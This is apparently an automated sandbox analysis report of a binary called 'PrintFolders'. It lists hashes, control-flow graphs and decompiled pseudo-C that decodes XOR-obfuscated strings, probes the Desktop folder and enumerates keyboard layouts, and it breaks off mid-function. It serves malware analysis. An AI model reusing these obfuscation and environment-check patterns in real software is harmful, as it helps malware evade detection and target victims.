                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: Init_thread_footer$CriticalSection$EnterLeaveWindow$ConditionForegroundTextVariableWake
                                                          • String ID: E.$fOMEK\YG\K]FO\E.$yG\K$~\AM
                                                          • API String ID: 1590647277-3754284071
                                                          • Opcode ID: bc234d3f8a5cc926224b41c12a7a08888321062f72d41a8dac0ac9900901a028
                                                          • Instruction ID: e9c2673cefaa3185768bab40f11baeefcd31a664600fc35e2933cd877b2fe628
                                                          • Opcode Fuzzy Hash: bc234d3f8a5cc926224b41c12a7a08888321062f72d41a8dac0ac9900901a028
                                                          • Instruction Fuzzy Hash: 7EF107799003848ADB35DB34EC067EA7B70AB05319F1405FED8492A2D3D7F99A98CB4D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 2710 402bf0-402c07 2711 402c49-402c5d call 40ebbf 2710->2711 2712 402c09-402c12 2710->2712 2713 402c14-402c19 2712->2713 2714 402c5e-402ca0 VirtualProtect 2712->2714 2713->2711 2716 402c1b-402c20 2713->2716 2714->2711 2718 402ca2-402cc4 GetLastError FormatMessageA 2714->2718 2720 402c22-402c2a 2716->2720 2721 402c36-402c43 call 402eb0 2716->2721 2719 402cc7-402ccc 2718->2719 2719->2719 2722 402cce-402d1a LocalAlloc call 402b20 LocalFree * 2 call 40ebbf 2719->2722 2720->2721 2723 402c2c-402c34 2720->2723 2726 402c45 2721->2726 2723->2721 2725 402c48 2723->2725 2725->2711 2726->2725
                                                          C-Code - Quality: 90%
                                                          			E00402BF0(void* __ebx, intOrPtr* __ecx, void** __edx) {
                                                          				signed int _v8;
                                                          				long _v12;
                                                          				char _v16;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				signed int _t31;
                                                          				long _t45;
                                                          				void* _t49;
                                                          				signed int _t60;
                                                          				signed int _t63;
                                                          				intOrPtr* _t64;
                                                          				signed int _t71;
                                                          				char _t72;
                                                          				void* _t77;
                                                          				long _t79;
                                                          				void* _t80;
                                                          				signed int _t81;
                                                          				void* _t82;
                                                          				signed int _t84;
                                                          
                                                          				_t76 = __edx;
                                                          				_t64 = __ecx;
                                                          				_t62 = __ebx;
                                                          				_t31 =  *0x43d054; // 0x6e36c9b5
                                                          				_v8 = _t31 ^ _t84;
                                                          				_t79 = __edx[2];
                                                          				if(_t79 == 0) {
                                                          					L8:
                                                          					_t16 =  &_v8; // 0x403426
                                                          					return E0040EBBF(1, _t62,  *_t16 ^ _t84, _t76, _t79, _t80);
                                                          				} else {
                                                          					_t81 = __edx[3];
                                                          					if((_t81 & 0x02000000) == 0) {
                                                          						_t71 =  *(0x439848 + ((_t81 >> 0x1f) + ((_t81 >> 0x0000001e & 0x00000001) + (_t81 >> 0x0000001d & 0x00000001) * 2) * 2) * 4);
                                                          						_t80 = _t81 & 0x04000000;
                                                          						_t44 =  ==  ? _t71 : _t71 | 0x00000200;
                                                          						_t45 = VirtualProtect( *__edx, _t79,  ==  ? _t71 : _t71 | 0x00000200,  &_v12); // executed
                                                          						if(_t45 != 0) {
                                                          							goto L8;
                                                          						} else {
                                                          							FormatMessageA(0x1300, 0, GetLastError(), 0x400,  &_v16, _t45, _t45);
                                                          							_t72 = _v16;
                                                          							_t77 = _t72 + 1;
                                                          							do {
                                                          								_t49 =  *_t72;
                                                          								_t72 = _t72 + 1;
                                                          							} while (_t49 != 0);
                                                          							_t82 = LocalAlloc(0x40, _t72 - _t77 + 0x1f);
                                                          							E00402B20(_t82, "%s: %s", "Error protecting memory page");
                                                          							OutputDebugStringA(_t82);
                                                          							LocalFree(_t82);
                                                          							LocalFree(_v16);
                                                          							_t30 =  &_v8; // 0x403426
                                                          							return E0040EBBF(0, __ebx,  *_t30 ^ _t84, _t77, _t79, LocalFree, _v16);
                                                          						}
                                                          					} else {
                                                          						_t80 =  *__edx;
                                                          						if(_t80 == __edx[1]) {
                                                          							_push(__ebx);
                                                          							if(__edx[4] != 0) {
                                                          								L6:
                                                          								 *((intOrPtr*)( *((intOrPtr*)(_t64 + 0x20))))(_t80, _t79, 0x4000,  *((intOrPtr*)(_t64 + 0x34))); // executed
                                                          							} else {
                                                          								_t63 =  *(__ecx + 0x3c);
                                                          								if( *((intOrPtr*)( *__ecx + 0x38)) == _t63) {
                                                          									goto L6;
                                                          								} else {
                                                          									_t60 = _t79;
                                                          									_t76 = _t60 % _t63;
                                                          									if(_t60 % _t63 == 0) {
                                                          										goto L6;
                                                          									}
                                                          								}
                                                          							}
                                                          							_pop(_t62);
                                                          						}
                                                          						goto L8;
                                                          					}
                                                          				}
                                                          			}






















                                                          0x00402bf0
                                                          0x00402bf0
                                                          0x00402bf0
                                                          0x00402bf6
                                                          0x00402bfd
                                                          0x00402c02
                                                          0x00402c07
                                                          0x00402c4a
                                                          0x00402c50
                                                          0x00402c5d
                                                          0x00402c09
                                                          0x00402c09
                                                          0x00402c12
                                                          0x00402c79
                                                          0x00402c8b
                                                          0x00402c91
                                                          0x00402c98
                                                          0x00402ca0
                                                          0x00000000
                                                          0x00402ca2
                                                          0x00402cbb
                                                          0x00402cc1
                                                          0x00402cc4
                                                          0x00402cc7
                                                          0x00402cc7
                                                          0x00402cc9
                                                          0x00402cca
                                                          0x00402cdf
                                                          0x00402cec
                                                          0x00402cf5
                                                          0x00402d02
                                                          0x00402d07
                                                          0x00402d09
                                                          0x00402d1a
                                                          0x00402d1a
                                                          0x00402c14
                                                          0x00402c14
                                                          0x00402c19
                                                          0x00402c1f
                                                          0x00402c20
                                                          0x00402c36
                                                          0x00402c43
                                                          0x00402c22
                                                          0x00402c24
                                                          0x00402c2a
                                                          0x00000000
                                                          0x00402c2c
                                                          0x00402c2e
                                                          0x00402c30
                                                          0x00402c34
                                                          0x00000000
                                                          0x00000000
                                                          0x00402c34
                                                          0x00402c2a
                                                          0x00402c48
                                                          0x00402c48
                                                          0x00000000
                                                          0x00402c19
                                                          0x00402c12

                                                          APIs
                                                          • VirtualProtect.KERNEL32(?,?,?,?,00000000,?,?,?,00403426), ref: 00402C98
                                                          • GetLastError.KERNEL32(00000400,?,00000000,00000000,?,?,00403426), ref: 00402CAD
                                                          • FormatMessageA.KERNEL32(00001300,00000000,00000000,?,?,00403426), ref: 00402CBB
                                                          • LocalAlloc.KERNEL32(00000040,?,?,?,00403426), ref: 00402CD6
                                                          • OutputDebugStringA.KERNEL32(00000000,?,?,?,?,?,?,00403426), ref: 00402CF5
                                                          • LocalFree.KERNEL32(00000000,?,?,?,?,?,?,00403426), ref: 00402D02
                                                          • LocalFree.KERNEL32(?,?,?,?,?,?,?,00403426), ref: 00402D07
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: Local$Free$AllocDebugErrorFormatLastMessageOutputProtectStringVirtual
                                                          • String ID: %s: %s$&4@$0Zhv$Error protecting memory page
                                                          • API String ID: 839691724-196108988
                                                          • Opcode ID: f7e83cb46c05e663735d1022c7d68b0119dfbf9cc7d77a07b31833e59155f675
                                                          • Instruction ID: 56ecb5147128ac6811eeaed226ebfad5a34a2763694ba038d08261f378adde64
                                                          • Opcode Fuzzy Hash: f7e83cb46c05e663735d1022c7d68b0119dfbf9cc7d77a07b31833e59155f675
                                                          • Instruction Fuzzy Hash: D6312531B00114AFE714AF69DC44FAEB769EF45300F1401AAE901AB2D1CAB5AD02CB98
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 2943 404840-4048a6 2944 4048a8-4048bc call 40ef48 2943->2944 2945 4048ed-4048f4 2943->2945 2944->2945 2952 4048be-4048ea call 40f25b call 40eefe 2944->2952 2946 4048f6-4048f8 2945->2946 2947 40490d-40492e 2945->2947 2949 404900-40490b 2946->2949 2950 404930-404935 2947->2950 2949->2947 2949->2949 2950->2950 2953 404937-40497f call 4026b0 call 418b65 2950->2953 2952->2945 2962 404982-404987 2953->2962 2962->2962 2963 404989-40499f call 4026b0 2962->2963 2966 4049a1-4049ad 2963->2966 2967 4049cd-4049f3 2963->2967 2968 4049c3-4049ca call 40edff 2966->2968 2969 4049af-4049bd 2966->2969 2970 4049f5-404a14 call 4104c0 2967->2970 2971 404a16-404a20 2967->2971 2968->2967 2969->2968 2972 404d2a call 413527 2969->2972 2974 404a27-404a44 2970->2974 2971->2974 2975 404a22 call 402980 2971->2975 2982 404d2f-404d34 call 413527 2972->2982 2979 404a46-404a5a call 40ef48 2974->2979 2980 404a8b-404a92 2974->2980 2975->2974 2979->2980 2989 404a5c-404a88 call 40f25b call 40eefe 2979->2989 2983 404ad3-404aed 2980->2983 2984 404a94-404ace 2980->2984 2987 404af4-404af9 2983->2987 2984->2983 2987->2987 2991 404afb-404b2a call 4026b0 call 404490 2987->2991 2989->2980 3000 404b72-404b79 2991->3000 3001 404b2c-404b40 call 40ef48 2991->3001 3002 404b9b-404bbc 3000->3002 3003 404b7b-404b94 3000->3003 3001->3000 3007 404b42-404b6f call 40f25b call 40eefe 3001->3007 3006 404bc0-404bc5 3002->3006 3003->3002 3006->3006 3008 404bc7-404bf8 call 4026b0 call 404490 3006->3008 3007->3000 3017 404c42-404c49 3008->3017 3018 404bfa-404c0e call 40ef48 3008->3018 3020 404c4b-404c69 3017->3020 3021 404c7d-404c9e 3017->3021 3018->3017 3025 404c10-404c3f call 40f25b call 40eefe 3018->3025 3023 404c70-404c7b 3020->3023 3024 404ca0-404ca5 3021->3024 3023->3021 3023->3023 3024->3024 3026 404ca7-404cc3 call 4026b0 call 404490 3024->3026 3025->3017 3035 404cc5-404cc9 3026->3035 3036 404cd8 3026->3036 3035->3036 3037 404ccb-404ccf 3035->3037 3038 404cda-404ce0 3036->3038 3037->3036 3039 404cd1-404cd6 3037->3039 3040 404ce2-404cee 3038->3040 3041 404d0a-404d29 call 40ebbf 3038->3041 3039->3038 3042 404d00-404d07 call 40edff 3040->3042 3043 404cf0-404cfe 3040->3043 3042->3041 3043->2982 3043->3042
                                                          C-Code - Quality: 68%
                                                          			E00404840(void* __ebx, void* __ecx) {
                                                          				intOrPtr _v8;
                                                          				int _v16;
                                                          				char _v24;
                                                          				int _v28;
                                                          				signed int _v32;
                                                          				signed int _v36;
                                                          				intOrPtr _v40;
                                                          				signed int _v44;
                                                          				char _v48;
                                                          				char _v52;
                                                          				long _v56;
                                                          				int _v60;
                                                          				signed int _v64;
                                                          				intOrPtr _v68;
                                                          				intOrPtr _v72;
                                                          				long _v76;
                                                          				char _v77;
                                                          				char _v78;
                                                          				char _v84;
                                                          				long _v88;
                                                          				int _v92;
                                                          				char _v93;
                                                          				signed int _v100;
                                                          				intOrPtr _v104;
                                                          				int _v108;
                                                          				long _v112;
                                                          				int _v116;
                                                          				int _v128;
                                                          				int _v132;
                                                          				int _v136;
                                                          				char _v144;
                                                          				signed int _v152;
                                                          				char _v296;
                                                          				char _v300;
                                                          				char _v304;
                                                          				char _v552;
                                                          				intOrPtr _v1580;
                                                          				int _v1588;
                                                          				int _v1592;
                                                          				long _v1596;
                                                          				int _v1600;
                                                          				int _v1616;
                                                          				struct HKL__* _v1684;
                                                          				signed int _v1688;
                                                          				int _v1692;
                                                          				int _v1728;
                                                          				intOrPtr _v1748;
                                                          				char _v1756;
                                                          				signed int _v1760;
                                                          				intOrPtr _v1772;
                                                          				intOrPtr _v1776;
                                                          				signed int _v1780;
                                                          				intOrPtr _v1816;
                                                          				intOrPtr _v1820;
                                                          				signed int _v1872;
                                                          				char _v2122;
                                                          				short _v2124;
                                                          				int* _v2140;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				signed int _t208;
                                                          				signed int _t209;
                                                          				intOrPtr _t212;
                                                          				intOrPtr _t213;
                                                          				intOrPtr* _t217;
                                                          				intOrPtr _t218;
                                                          				intOrPtr _t223;
                                                          				signed char _t224;
                                                          				signed char _t225;
                                                          				void* _t227;
                                                          				intOrPtr _t228;
                                                          				signed char _t229;
                                                          				intOrPtr _t230;
                                                          				void* _t232;
                                                          				intOrPtr _t233;
                                                          				intOrPtr _t234;
                                                          				void* _t236;
                                                          				int _t239;
                                                          				signed int _t245;
                                                          				signed int _t246;
                                                          				signed int _t249;
                                                          				int _t252;
                                                          				intOrPtr* _t254;
                                                          				int _t258;
                                                          				int _t260;
                                                          				signed int _t266;
                                                          				signed int _t267;
                                                          				intOrPtr _t269;
                                                          				intOrPtr _t278;
                                                          				signed int _t284;
                                                          				short _t286;
                                                          				signed int _t291;
                                                          				signed int _t297;
                                                          				signed char _t303;
                                                          				signed char* _t304;
                                                          				void* _t309;
                                                          				long _t310;
                                                          				intOrPtr _t311;
                                                          				int _t312;
                                                          				intOrPtr _t316;
                                                          				intOrPtr _t317;
                                                          				int _t318;
                                                          				int _t322;
                                                          				void* _t326;
                                                          				signed int _t327;
                                                          				void* _t333;
                                                          				int _t350;
                                                          				signed int _t355;
                                                          				void* _t361;
                                                          				int* _t363;
                                                          				signed int _t365;
                                                          				int _t366;
                                                          				void* _t367;
                                                          				void* _t369;
                                                          				intOrPtr* _t370;
                                                          				intOrPtr* _t373;
                                                          				signed char* _t377;
                                                          				intOrPtr* _t381;
                                                          				intOrPtr* _t385;
                                                          				int _t393;
                                                          				signed int _t399;
                                                          				int _t401;
                                                          				int _t404;
                                                          				signed int* _t405;
                                                          				signed int _t415;
                                                          				intOrPtr* _t416;
                                                          				signed int _t422;
                                                          				int _t426;
                                                          				void* _t427;
                                                          				long _t429;
                                                          				int* _t431;
                                                          				int* _t432;
                                                          				int* _t433;
                                                          				long _t434;
                                                          				void* _t435;
                                                          				void* _t439;
                                                          				signed char* _t440;
                                                          				void* _t441;
                                                          				int _t443;
                                                          				void* _t444;
                                                          				signed int _t445;
                                                          				void* _t446;
                                                          				signed int _t447;
                                                          				void* _t448;
                                                          				int* _t449;
                                                          				void* _t450;
                                                          				void* _t451;
                                                          				int _t452;
                                                          				signed char* _t453;
                                                          				void* _t454;
                                                          				void* _t455;
                                                          				void* _t456;
                                                          				int _t457;
                                                          				void* _t458;
                                                          				void* _t459;
                                                          				signed int _t460;
                                                          				void* _t462;
                                                          				void* _t463;
                                                          				int _t464;
                                                          				void* _t467;
                                                          				signed int _t470;
                                                          				signed int _t473;
                                                          				signed int _t475;
                                                          				signed int _t477;
                                                          				void* _t479;
                                                          				signed int _t482;
                                                          				void* _t483;
                                                          				int* _t484;
                                                          				int* _t485;
                                                          				int* _t486;
                                                          				int* _t487;
                                                          				int* _t488;
                                                          				int* _t489;
                                                          				signed int _t495;
                                                          				signed int _t496;
                                                          				void* _t499;
                                                          				signed int _t501;
                                                          
                                                          				_t369 = __ecx;
                                                          				_push(__ebx);
                                                          				_t361 = _t479;
                                                          				_t482 = (_t479 - 0x00000008 & 0xfffffff8) + 4;
                                                          				_v8 =  *((intOrPtr*)(_t361 + 4));
                                                          				_t470 = _t482;
                                                          				_push(0xffffffff);
                                                          				_push(0x42c515);
                                                          				_push( *[fs:0x0]);
                                                          				_push(_t361);
                                                          				_t483 = _t482 - 0x50;
                                                          				_t208 =  *0x43d054; // 0x6e36c9b5
                                                          				_t209 = _t208 ^ _t470;
                                                          				_v32 = _t209;
                                                          				_push(_t451);
                                                          				_push(_t209);
                                                          				 *[fs:0x0] =  &_v24;
                                                          				_v48 = 0x7c6b7d7b;
                                                          				_v44 = 0x68617c7e;
                                                          				_v40 = 0x2e6b6267;
                                                          				_t443 =  *( *[fs:0x2c]);
                                                          				_t212 =  *0x450efc; // 0x8000000b
                                                          				if(_t212 >  *((intOrPtr*)(_t443 + 4))) {
                                                          					E0040EF48(_t212, 0x450efc);
                                                          					_t483 = _t483 + 4;
                                                          					_t512 =  *0x450efc - 0xffffffff;
                                                          					if( *0x450efc == 0xffffffff) {
                                                          						asm("movq xmm0, [ebp-0x24]");
                                                          						asm("movq [0x450ea4], xmm0");
                                                          						 *0x450eac = _v40;
                                                          						E0040F25B(_t369, _t512, 0x42cec0);
                                                          						E0040EEFE(0x450efc);
                                                          						_t483 = _t483 + 8;
                                                          					}
                                                          				}
                                                          				if( *0x450eaf != 0) {
                                                          					_t355 = 0;
                                                          					do {
                                                          						 *(_t355 + 0x450ea4) =  *(_t355 + 0x450ea4) ^ 0x0000002e;
                                                          						_t355 = _t355 + 1;
                                                          					} while (_t355 < 0xc);
                                                          				}
                                                          				_t370 = 0x450ea4;
                                                          				_v108 = 0;
                                                          				_v92 = 0;
                                                          				_v88 = 0xf;
                                                          				_v108 = 0;
                                                          				_t16 = _t370 + 1; // 0x450ea5
                                                          				_t427 = _t16;
                                                          				do {
                                                          					_t213 =  *_t370;
                                                          					_t370 = _t370 + 1;
                                                          				} while (_t213 != 0);
                                                          				E004026B0(_t361,  &_v108, 0x450ea4, _t370 - _t427);
                                                          				_v16 = 0;
                                                          				_t216 =  >=  ? _v108 :  &_v108;
                                                          				_t217 = E00418B65(_t361, _t443, _t451,  >=  ? _v108 :  &_v108,  >=  ? _v108 :  &_v108);
                                                          				_t428 = _t217;
                                                          				_v76 = 0;
                                                          				_t373 = _t217;
                                                          				_v60 = 0;
                                                          				_t484 = _t483 + 4;
                                                          				_v56 = 0xf;
                                                          				_v76 = 0;
                                                          				_t26 = _t373 + 1; // 0x1
                                                          				_t452 = _t26;
                                                          				do {
                                                          					_t218 =  *_t373;
                                                          					_t373 = _t373 + 1;
                                                          				} while (_t218 != 0);
                                                          				E004026B0(_t361,  &_v76, _t428, _t373 - _t452);
                                                          				_v16 = 2;
                                                          				_t429 = _v88;
                                                          				if(_t429 < 0x10) {
                                                          					L14:
                                                          					_t376 = _v60;
                                                          					_v92 = 0;
                                                          					_v88 = 0xf;
                                                          					_v108 = 0;
                                                          					_push(8);
                                                          					_push("\\Desktop");
                                                          					if(_v56 - _t376 < 8) {
                                                          						_v84 = 0;
                                                          						_t376 =  &_v76;
                                                          						_push(_v84);
                                                          						_push(8);
                                                          						E00402980(_t361,  &_v76, _t443, _t452);
                                                          					} else {
                                                          						_t38 = _t376 + 8; // 0x8
                                                          						_t466 =  >=  ? _v76 :  &_v76;
                                                          						_t467 = ( >=  ? _v76 :  &_v76) + _t376;
                                                          						_v60 = _t38;
                                                          						_push(_t467);
                                                          						E004104C0();
                                                          						_t484 =  &(_t484[3]);
                                                          						 *((char*)(_t467 + 8)) = 0;
                                                          					}
                                                          					_t223 =  *0x450f04; // 0x8000000c
                                                          					_v44 = 0x4b426d6d;
                                                          					_v40 = 0x5c4b404f;
                                                          					_v77 = 0x2e;
                                                          					if(_t223 >  *((intOrPtr*)(_t443 + 4))) {
                                                          						E0040EF48(_t223, 0x450f04);
                                                          						_t484 =  &(_t484[1]);
                                                          						_t526 =  *0x450f04 - 0xffffffff;
                                                          						if( *0x450f04 == 0xffffffff) {
                                                          							asm("movq xmm0, [ebp-0x20]");
                                                          							asm("movq [0x450f3c], xmm0");
                                                          							 *0x450f44 = _v77;
                                                          							E0040F25B(_t376, _t526, 0x42cea0);
                                                          							E0040EEFE(0x450f04);
                                                          							_t484 =  &(_t484[2]);
                                                          						}
                                                          					}
                                                          					_t224 =  *0x450f44; // 0x0
                                                          					if(_t224 != 0) {
                                                          						 *0x450f3c =  *0x450f3c ^ 0x0000002e;
                                                          						 *0x450f3d =  *0x450f3d ^ 0x0000002e;
                                                          						 *0x450f3e =  *0x450f3e ^ 0x0000002e;
                                                          						 *0x450f3f =  *0x450f3f ^ 0x0000002e;
                                                          						 *0x450f40 =  *0x450f40 ^ 0x0000002e;
                                                          						 *0x450f41 =  *0x450f41 ^ 0x0000002e;
                                                          						 *0x450f42 =  *0x450f42 ^ 0x0000002e;
                                                          						 *0x450f43 =  *0x450f43 ^ 0x0000002e;
                                                          						 *0x450f44 = _t224 ^ 0x0000002e;
                                                          					}
                                                          					_t485 = _t484 - 0x18;
                                                          					_t377 = 0x450f3c;
                                                          					_t431 = _t485;
                                                          					_t50 =  &(_t377[1]); // 0x450f3d
                                                          					_t453 = _t50;
                                                          					 *_t431 = 0;
                                                          					_t431[4] = 0;
                                                          					_t431[5] = 0xf;
                                                          					do {
                                                          						_t225 =  *_t377;
                                                          						_t377 =  &(_t377[1]);
                                                          					} while (_t225 != 0);
                                                          					E004026B0(_t361, _t431, 0x450f3c, _t377 - _t453);
                                                          					_t227 = E00404490(_t361,  &_v76, _t431); // executed
                                                          					_t486 =  &(_t485[6]);
                                                          					_v77 = 0x2e;
                                                          					_t228 =  *0x450fa0; // 0x8000000d
                                                          					_v78 = _t227 != 0;
                                                          					if(_t228 >  *((intOrPtr*)(_t443 + 4))) {
                                                          						E0040EF48(_t228, 0x450fa0);
                                                          						_t486 =  &(_t486[1]);
                                                          						_t532 =  *0x450fa0 - 0xffffffff;
                                                          						if( *0x450fa0 == 0xffffffff) {
                                                          							asm("movaps xmm0, [0x439d80]");
                                                          							asm("movups [0x450ec0], xmm0");
                                                          							 *0x450ed0 = _v77;
                                                          							E0040F25B( &_v76, _t532, 0x42ce80);
                                                          							E0040EEFE(0x450fa0);
                                                          							_t486 =  &(_t486[2]);
                                                          						}
                                                          					}
                                                          					_t229 =  *0x450ed0; // 0x0
                                                          					if(_t229 != 0) {
                                                          						asm("movups xmm0, [0x450ec0]");
                                                          						asm("movaps xmm1, [0x439d30]");
                                                          						asm("pxor xmm1, xmm0");
                                                          						 *0x450ed0 = _t229 ^ 0x0000002e;
                                                          						asm("movups [0x450ec0], xmm1");
                                                          					}
                                                          					_t487 = _t486 - 0x18;
                                                          					_t381 = 0x450ec0;
                                                          					_t432 = _t487;
                                                          					_t58 = _t381 + 1; // 0x450ec1
                                                          					_t454 = _t58;
                                                          					 *_t432 = 0;
                                                          					_t432[4] = 0;
                                                          					_t432[5] = 0xf;
                                                          					do {
                                                          						_t230 =  *_t381;
                                                          						_t381 = _t381 + 1;
                                                          					} while (_t230 != 0);
                                                          					E004026B0(_t361, _t432, 0x450ec0, _t381 - _t454);
                                                          					_t232 = E00404490(_t361,  &_v76, _t432); // executed
                                                          					_t488 =  &(_t487[6]);
                                                          					_v36 = 0x2e6d;
                                                          					_t233 =  *0x450f08; // 0x8000000e
                                                          					_v77 = _t232 != 0;
                                                          					if(_t233 >  *((intOrPtr*)(_t443 + 4))) {
                                                          						E0040EF48(_t233, 0x450f08);
                                                          						_t488 =  &(_t488[1]);
                                                          						_t537 =  *0x450f08 - 0xffffffff;
                                                          						if( *0x450f08 == 0xffffffff) {
                                                          							asm("movaps xmm0, [0x439da0]");
                                                          							asm("movups [0x450f78], xmm0");
                                                          							 *0x450f88 = _v36;
                                                          							E0040F25B( &_v76, _t537, 0x42ce60);
                                                          							E0040EEFE(0x450f08);
                                                          							_t488 =  &(_t488[2]);
                                                          						}
                                                          					}
                                                          					if( *0x450f89 != 0) {
                                                          						asm("movups xmm0, [0x450f78]");
                                                          						_t333 = 0x10;
                                                          						asm("movaps xmm1, [0x439d30]");
                                                          						asm("pxor xmm1, xmm0");
                                                          						asm("movups [0x450f78], xmm1");
                                                          						do {
                                                          							 *(_t333 + 0x450f78) =  *(_t333 + 0x450f78) ^ 0x0000002e;
                                                          							_t333 = _t333 + 1;
                                                          						} while (_t333 < 0x12);
                                                          					}
                                                          					_t489 = _t488 - 0x18;
                                                          					_t385 = 0x450f78;
                                                          					_t433 = _t489;
                                                          					_t68 = _t385 + 1; // 0x450f79
                                                          					_t455 = _t68;
                                                          					 *_t433 = 0;
                                                          					_t433[4] = 0;
                                                          					_t433[5] = 0xf;
                                                          					do {
                                                          						_t234 =  *_t385;
                                                          						_t385 = _t385 + 1;
                                                          					} while (_t234 != 0);
                                                          					E004026B0(_t361, _t433, 0x450f78, _t385 - _t455);
                                                          					_t236 = E00404490(_t361,  &_v76, _t433); // executed
                                                          					_t484 =  &(_t489[6]);
                                                          					if(_t236 == 0 || _v78 == 0 || _v77 == 0) {
                                                          						_t452 = 0;
                                                          						__eflags = 0;
                                                          					} else {
                                                          						_t452 = 1;
                                                          					}
                                                          					_t434 = _v56;
                                                          					if(_t434 < 0x10) {
                                                          						L48:
                                                          						 *[fs:0x0] = _v24;
                                                          						_pop(_t444);
                                                          						_pop(_t456);
                                                          						return E0040EBBF(_t452, _t361, _v32 ^ _t470, _t434, _t444, _t456);
                                                          					} else {
                                                          						_t393 = _v76;
                                                          						_t434 = _t434 + 1;
                                                          						_t239 = _t393;
                                                          						if(_t434 < 0x1000) {
                                                          							L47:
                                                          							_push(_t434);
                                                          							E0040EDFF(_t393);
                                                          							goto L48;
                                                          						} else {
                                                          							_t393 =  *(_t393 - 4);
                                                          							_t434 = _t434 + 0x23;
                                                          							if(_t239 - _t393 + 0xfffffffc > 0x1f) {
                                                          								goto L50;
                                                          							} else {
                                                          								goto L47;
                                                          							}
                                                          						}
                                                          					}
                                                          				} else {
                                                          					_t426 = _v108;
                                                          					_t441 = _t429 + 1;
                                                          					_t350 = _t426;
                                                          					if(_t441 < 0x1000) {
                                                          						L13:
                                                          						_push(_t441);
                                                          						E0040EDFF(_t426);
                                                          						_t484 =  &(_t484[2]);
                                                          						goto L14;
                                                          					} else {
                                                          						_t393 =  *(_t426 - 4);
                                                          						_t434 = _t441 + 0x23;
                                                          						if(_t350 - _t393 + 0xfffffffc > 0x1f) {
                                                          							E00413527(_t361, _t434, __eflags);
                                                          							L50:
                                                          							E00413527(_t361, _t434, __eflags);
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							_push(_t361);
                                                          							_t363 = _t484;
                                                          							_t495 = (_t484 - 0x00000008 & 0xfffffff8) + 4;
                                                          							_push(_t470);
                                                          							_v128 = _t363[1];
                                                          							_t473 = _t495;
                                                          							_push(0xffffffff);
                                                          							_push(0x42c572);
                                                          							_push( *[fs:0x0]);
                                                          							_push(_t363);
                                                          							_t496 = _t495 - 0x630;
                                                          							_t245 =  *0x43d054; // 0x6e36c9b5
                                                          							_t246 = _t245 ^ _t473;
                                                          							_v152 = _t246;
                                                          							_push(_t452);
                                                          							_push(_t443);
                                                          							_push(_t246);
                                                          							 *[fs:0x0] =  &_v144;
                                                          							_t457 = _t393;
                                                          							_v1688 = _t457;
                                                          							_v1728 = _t457;
                                                          							asm("xorps xmm0, xmm0");
                                                          							_v1692 = 0;
                                                          							asm("movq [esi], xmm0");
                                                          							 *(_t457 + 8) = 0;
                                                          							 *_t457 = 0;
                                                          							 *(_t457 + 4) = 0;
                                                          							 *(_t457 + 8) = 0;
                                                          							_v136 = 0;
                                                          							_v1692 = 1;
                                                          							_t249 = GetKeyboardLayoutList(0x400,  &_v1684);
                                                          							_t445 = 0;
                                                          							_v1688 = _t249;
                                                          							__eflags = _t249;
                                                          							if(_t249 <= 0) {
                                                          								L63:
                                                          								 *[fs:0x0] = _v36;
                                                          								_pop(_t446);
                                                          								_pop(_t458);
                                                          								__eflags = _v44 ^ _t473;
                                                          								return E0040EBBF(_t457, _t363, _v44 ^ _t473, _t434, _t446, _t458);
                                                          							} else {
                                                          								do {
                                                          									_t252 =  *(_t473 + _t445 * 4 - 0x610) & 0x0000ffff;
                                                          									_v1588 = _t252;
                                                          									GetLocaleInfoA(_t252, 2,  &_v552, 0x1f4); // executed
                                                          									_t254 =  &_v552;
                                                          									_v1616 = 0;
                                                          									_v1600 = 0;
                                                          									_t435 = _t254 + 1;
                                                          									_v1596 = 0xf;
                                                          									_v1616 = 0;
                                                          									do {
                                                          										_t399 =  *_t254;
                                                          										_t254 = _t254 + 1;
                                                          										__eflags = _t399;
                                                          									} while (_t399 != 0);
                                                          									E004026B0(_t363,  &_v1616,  &_v552, _t254 - _t435);
                                                          									_t401 = _v1588;
                                                          									_v1592 = _t401;
                                                          									_v28 = 1;
                                                          									_t258 =  *(_t457 + 4);
                                                          									__eflags = _t258 -  *(_t457 + 8);
                                                          									if(_t258 ==  *(_t457 + 8)) {
                                                          										_push( &_v1616);
                                                          										_push(_t258);
                                                          										E0040CC40(_t363, _t457, _t445, _t457);
                                                          										_t434 = _v1596;
                                                          									} else {
                                                          										asm("movups xmm0, [ebp-0x638]");
                                                          										_t434 = 0xf;
                                                          										_v1616 = 0;
                                                          										asm("movups [eax], xmm0");
                                                          										asm("movq xmm0, [ebp-0x628]");
                                                          										asm("movq [eax+0x10], xmm0");
                                                          										 *(_t258 + 0x18) = _t401;
                                                          										 *(_t457 + 4) =  *(_t457 + 4) + 0x1c;
                                                          									}
                                                          									_v28 = 0;
                                                          									__eflags = _t434 - 0x10;
                                                          									if(_t434 < 0x10) {
                                                          										goto L62;
                                                          									} else {
                                                          										_t404 = _v1616;
                                                          										_t434 = _t434 + 1;
                                                          										_t260 = _t404;
                                                          										__eflags = _t434 - 0x1000;
                                                          										if(_t434 < 0x1000) {
                                                          											L61:
                                                          											_push(_t434);
                                                          											E0040EDFF(_t404);
                                                          											_t496 = _t496 + 8;
